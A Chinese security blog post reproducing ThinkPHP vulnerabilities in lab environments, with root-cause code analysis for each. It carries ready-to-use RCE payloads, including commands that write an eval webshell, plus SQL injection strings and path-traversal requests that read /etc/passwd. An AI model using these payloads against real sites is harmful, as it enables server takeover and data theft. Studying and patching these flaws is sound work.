ThinkPHP 各版本框架漏洞整理

ThinkPHP漏洞利用

本文使用的工具来自于天狐工具箱中的Thinkphp框架利用工具

image-20250720211643621

概述

框架特性与版本识别

ThinkPHP 是国内广泛使用的 PHP 开发框架,基于 MVC 模式设计,具有轻量级、高效灵活等特点。不同版本的安全机制差异较大,版本识别是漏洞利用的前提:

  • 识别方法
    • 查看 HTTP 响应头的X-Powered-By字段(部分版本会显示)
    • 触发 404/500 错误页面,框架常暴露版本信息(如ThinkPHP V5.0.24
    • 分析目录结构(如Application/Runtime/为 3.x 特征,vendor/topthink/为 5.x + 特征)
    • 检查默认文件(如composer.jsontopthink/framework的版本号)
  • 版本安全特性
    • 2.x:无严格过滤机制,存在大量preg_replace /e代码执行漏洞
    • 3.x:引入基础过滤,但日志文件管理缺陷导致泄露风险
    • 5.x:重构内核,增加安全机制,但初期版本存在多处 RCE 漏洞
    • 6.x:强化输入验证,漏洞数量减少,但仍有特定场景风险

2.x/3.0 远程代码执行漏洞

环境搭建

进入Vulhub
cd vulhub-master\thinkphp\2-rce
docker compose up -d

漏洞利用

核心原理:利用preg_replace函数的/e修饰符代码执行特性。

  • 基础 Payload

    # PATHINFO模式
    http://your-ip:8080/index.php/Index/index/name/${@phpinfo()}
    
    # 兼容模式(不支持PATHINFO时)
    http://your-ip:8080/index.php?s=/Index/index/name/${@phpinfo()}
    
  • 进阶利用

    • 执行系统命令:${@system('whoami')}
    • 写入 webshell:${@file_put_contents('shell.php','<?php @eval($_POST[1]);?>')}

效果验证:访问后页面会显示phpinfo()信息或命令执行结果。

利用工具验证

image-20250718161631533

payload:

?s=/index/index/name/${@phpinfo()}

image-20250718161737517

漏洞剖析

漏洞位于/ThinkPHP/Lib/Think/Util/Dispatcher.class.php的 URL 路由解析逻辑:

// 简化后的关键代码
$regx = "/(\w+)\/([^\/]+)/";
preg_replace($regx, '$var[\'\\1\']="\\2";', $path);
  • preg_replace/e修饰符会将替换字符串作为 PHP 代码执行
  • 正则匹配模块/控制器/参数名/参数值结构,攻击者可控制参数值部分
  • 通过${}语法(PHP 变量解析特性),将参数值构造为可执行代码(如${@phpinfo()}
  • URL 路径中偶数位置的参数会被解析为执行代码(如/a/b/${code}/c/d${code}会被执行)

3.2.x LOG RCE漏洞复现

ThinkPHP3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。

环境搭建

image-20250718181904992

漏洞利用

核心原理:模板赋值函数assign参数可控导致文件包含。

  • 步骤 1:触发日志记录
    访问包含可控参数的页面,让恶意代码被写入日志(默认开启 DEBUG 模式):

    ?m=Home&c=Index&a=index&value=<?php phpinfo();?>
    
  • 步骤 2:查找日志文件路径
    日志默认路径为:

    # DEBUG模式
    Application/Runtime/Logs/Home/年_月_日.log
    # 非DEBUG模式
    Application/Runtime/Logs/Common/年_月_日.log
    

    例如:http://your-ip:8080/Application/Runtime/Logs/Home/25_07_18.log

  • 步骤 3:包含日志文件执行代码
    通过assign覆盖模板路径,包含日志文件:

    http://your-ip:8080/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/25_07_18.log
    

报错查看信息

image-20250718181726855

利用工具验证

image-20250718182033607

对应poc

[+] 存在ThinkPHP 3.x 日志泄露
Payload: http://123.58.224.8:53722//Application/Runtime/Logs/Admin/25_07_18.log
[+] 存在ThinkPHP 3.x Log RCE
Payload: http://123.58.224.8:53722//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/25_07_18.log

直接访问日志,phpinfo已经写入

漏洞剖析

漏洞源于代码中不安全的assign调用:

// Application/Home/Controller/IndexController.class.php
public function index($value=''){
    $this->assign($value);  // $value参数可控
    $this->display();       // 渲染模板时会加载指定文件
}
  • assign($value)允许传入数组覆盖模板变量,当$value['_filename' => '恶意路径']
  • display()方法会加载_filename指定的文件,若文件包含 PHP 代码则会执行
  • 结合日志文件自动记录请求参数的特性,可将恶意代码写入日志后通过包含执行

5.x 远程代码执行漏洞1(5.0-5.0.24)

ThinkPHP 5 最出名的就是RCE,RCE又有两个大版本的区别,下面分两个版本进行展示:

  1. ThinkPHP 5.0-5.0.24
  2. ThinkPHP 5.1.0-5.1.30

环境搭建

进入Vulhub
cd vulhub-master\thinkphp\5-rce
docker compose up -d

搭建效果如下图

image-20250718180413997

漏洞利用

核心原理:Request 类的method方法未正确过滤_method参数,导致构造函数注入。

  • Payload

    # 请求URL
    http://your-ip:8080/?s=captcha
    
    # POST数据
    _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
    
  • 利用扩展

    • 执行命令:filter[]=system&server[REQUEST_METHOD]=whoami
    • 写入 webshell:filter[]=file_put_contents&server[REQUEST_METHOD]=shell.php&server[PATH_INFO]=<?php @eval($_POST[1]);?>

报错查看信息

image-20250720184613847

利用工具进行验证

image-20250718162818483

实际利用payload:

[+] 存在ThinkPHP 5.0.23 RCE
Payload: http://localhost:8080//?s=captcha&test=-1 
Post: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

image-20250718163535807

漏洞剖析

漏洞位于think\Request类的method方法:

public function method($method = false) {
    if (true === $method) {
        // 获取原始请求方法
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            // 这里未过滤用户输入,可触发__construct方法
            $this->{$this->method}(); 
        } elseif (isset($_SERVER['REQUEST_METHOD'])) {
            $this->method = strtoupper($_SERVER['REQUEST_METHOD']);
        }
    }
    return $this->method;
}
  • _method=__construct时,会调用类的构造函数
  • 构造函数可接收filter参数,并将其设置为成员变量
  • 后续框架会使用filter参数处理输入,若filterphpinfo等函数,则会执行对应代码

5.x 远程代码执行漏洞2(5.1.0-5.1.30)

环境搭建

thinkphp 代码执行 (CNVD-2018-24942)

这里使用的是vulfocus的靶场环境进行测试的

image-20250720185547309

漏洞利用

核心原理:框架对控制器方法调用的参数过滤不严,导致函数注入。

  • 典型 Payload

    # 利用Container类执行函数
    http://your-ip:8080/?s=/index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
    # 利用Request类input方法
    http://your-ip:8080/?s=index/\think\Request/input&filter[]=phpinfo&data=-1
    
  • 漏洞验证:访问后页面显示phpinfo()信息即成功。

image-20250720185324351

利用工具检测

image-20250720185412042

[+] 存在ThinkPHP 5.0 RCE
Payload: http://123.58.224.8:24421//?s=/index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
[-] 不存在ThinkPHP 5.0.10 construct RCE
[+] 存在ThinkPHP 5.0.22/5.1.29 RCE
Payload: http://123.58.224.8:24421//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
[-] 不存在ThinkPHP 5.0.23 RCE
[+] 存在ThinkPHP 5.0.24-5.1.30 RCE
Payload: http://123.58.224.8:24421//?s=index/\think\Request/input&filter[]=phpinfo&data=-1
[-] 不存在ThinkPHP update sql注入
[+] 存在ThinkPHP 5 文件包含漏洞
Payload: http://123.58.224.8:24421//?s=index/\think\Lang/load&file=/etc/passwd

漏洞剖析

invokefunction方法为例:

public function invokefunction($function, $vars = []) {
    if (is_array($function)) {
        // 类方法调用
        [$class, $method] = $function;
        return (new $class)->$method(...$vars);
    } elseif (is_callable($function)) {
        return $function(...$vars);  // 直接调用传入的函数
    }
}
  • 攻击者通过 URL 参数控制functionvars,使function=call_user_func_array
  • call_user_func_array可调用任意函数,vars[0]为函数名,vars[1]为参数数组
  • vars[0]=phpinfo时,最终执行call_user_func_array('phpinfo', [-1]),触发代码执行

5.x SQL 注入与敏感信息泄露

环境搭建

进入Vulhub
cd vulhub-master\thinkphp\in-sqlinjection
docker compose up -d # 启动后为空白页面,需通过Payload触发漏洞

搭建好后是空白页面

image-20250720183628511

漏洞利用

核心原理where条件构造时未过滤数组键名,导致 SQL 注入。

  • 报错注入 Payload

    http://your-ip:8080/index.php?ids[0,updatexml(0,concat(0xa,user(),0xa),0)]=1
    

    执行后会显示数据库用户信息(如root@localhost)。

  • 信息泄露利用

    • 获取数据库版本:ids[0,updatexml(0,concat(0xa,version()),0)]=1
    • 读取文件:ids[0,load_file('/etc/passwd')]=1(需数据库权限)

利用报错来查看版本信息

image-20250720183724935

利用工具进行测试

image-20250720183812322

[+] 存在ThinkPHP 5 SQL注入漏洞 && 敏感信息泄露
Payload: http://localhost//index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
[+] 存在ThinkPHP 5.x 数据库信息泄露
Payload: username:root hostname:mysql password:root database:cat

这里主要展示sql注入

漏洞剖析

漏洞位于模型的where方法参数处理逻辑:

// 简化代码
public function where($where, $op = null, $condition = null) {
    if (is_array($where)) {
        foreach ($where as $key => $val) {
            // 键名直接拼接进SQL,未过滤特殊字符
            $this->query .= " AND $key = $val";
        }
    }
    return $this;
}
  • where参数为数组时,键名被直接作为 SQL 条件的字段名
  • 攻击者构造ids[0,updatexml(...)]=1,键名被解析为0,updatexml(...)
  • 最终生成的 SQL 包含updatexml函数,通过报错泄露信息

thinkphp lang 文件包含漏洞

环境搭建

进入Vulhub
cd vulhub-master\thinkphp\in-sqlinjection
docker compose up -d

实际效果如下

image-20250718175614190

漏洞利用

核心原理lang参数控制语言包加载路径,导致目录遍历与文件包含。

  • 文件包含 Payload

    # 读取系统文件
    http://your-ip:8080/?lang=../../../../../etc/passwd
    
    # 包含日志文件(需结合日志泄露)
    http://your-ip:8080/?lang=../../../../../runtime/logs/202507/20.log
    
  • 利用条件

    • 框架开启多语言配置(lang_switch_on=true
    • 未限制lang参数的目录遍历(无realpath过滤)

image-20250720184341921

利用工具进行测试

image-20250718175313019

实际利用payload

[+] 存在ThinkPHP 6 文件包含漏洞
Payload: http://192.168.31.142:8084/?lang=../../../../../public/index 
(注意漏洞利用条件苛刻,最好结合手动利用;工具不可执行命令,可尝试点击GETSHELL按钮!)

漏洞剖析

语言包加载逻辑:

public function load($file, $range = '') {
    $file = $this->getLangFile($file);
    if (is_file($file)) {
        return include $file;  // 直接包含指定文件
    }
}

private function getLangFile($file) {
    return $this->langPath . $file . '.php';  // 拼接路径,未过滤../
}
  • lang参数直接传入load方法,拼接为langPath + $file + .php
  • 通过../../遍历目录,可访问任意.php文件或无后缀文件
  • 若包含文件含 PHP 代码(如日志中的恶意代码),则会执行

参考博客

漏洞复现合集

该微信公众号讲述了诸如spring,thinkphp,nacos等全漏洞利用方法以及工具

下面这篇文章详细讲述了ThinkPHP 5.x两种RCE漏洞原理,分析反射链

thinkphp漏洞分析与总结 · Drunkmars's Blog

下边是上文概括的一些漏洞文件

  1. ThinkPHP 5.x 远程代码执行漏洞1

本次ThinkPHP 5.0的安全更新主要是在library/think/APP.php文件中增加了对控制器名的限制,而ThinkPHP 5.1的安全更新主要是在library/think/route/dispatch/Module.php文件中增加了对控制器名的限制。

  1. ThinkPHP 5.x 远程代码执行漏洞2

该漏洞的漏洞关键点存在于thinkphp/library/think/Request.php文件中

Think PHP漏洞总结(全系列) - lingzhi_sec - 博客园

该博客对各个版本的漏洞都有涉猎,简单进行演示

posted @ 2025-07-20 22:04  F0T0ne  阅读(70)  评论(0)    收藏  举报